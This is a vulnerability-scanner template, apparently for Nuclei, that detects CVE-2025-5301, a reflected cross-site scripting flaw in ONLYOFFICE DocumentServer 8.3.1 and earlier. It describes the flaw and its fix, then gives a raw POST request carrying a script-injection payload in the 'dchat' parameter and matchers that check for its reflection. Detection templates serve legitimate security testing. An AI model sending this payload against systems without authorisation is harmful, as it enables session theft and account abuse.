CVE-2025-5301: ONLYOFFICE Docs (DocumentServer) - Reflected Cross-Site Scripting

id: CVE-2025-5301

info:
  name: ONLYOFFICE Docs (DocumentServer) - Reflected Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    ONLYOFFICE Docs (DocumentServer) <= 8.3.1 contains a reflected XSS caused by improper sanitization of crafted HTTP POST requests via the WOPI protocol, letting attackers inject malicious scripts reflected in HTML response, exploit requires crafted POST requests.
  impact: |
    Attackers can execute malicious scripts in users' browsers, potentially stealing session data or performing actions on behalf of users.
  remediation: |
    Update to a version later than 8.3.1.
  reference:
    - https://github.com/ONLYOFFICE/
    - https://seclists.org/fulldisclosure/2025/Jun/18
    - https://nvd.nist.gov/vuln/detail/CVE-2025-5301
    - https://github.com/ONLYOFFICE/DocumentServer/blob/master/CHANGELOG.md#832
    - https://r.sec-consult.com/onlyoffice
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2025-5301
    cwe-id: CWE-79
    epss-score: 0.06718
    epss-percentile: 0.90907
  metadata:
    verified: false
  tags: cve,cve2025,onlyoffice,xss,vuln,seclists

http:
  - raw:
      - |
        POST /hosting/wopi/word/edit?dchat=asdasd</script><script>alert(document.domain)</script> HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "{\"dchat\":", "</script><script>alert(document.domain)</script>")'
        condition: and
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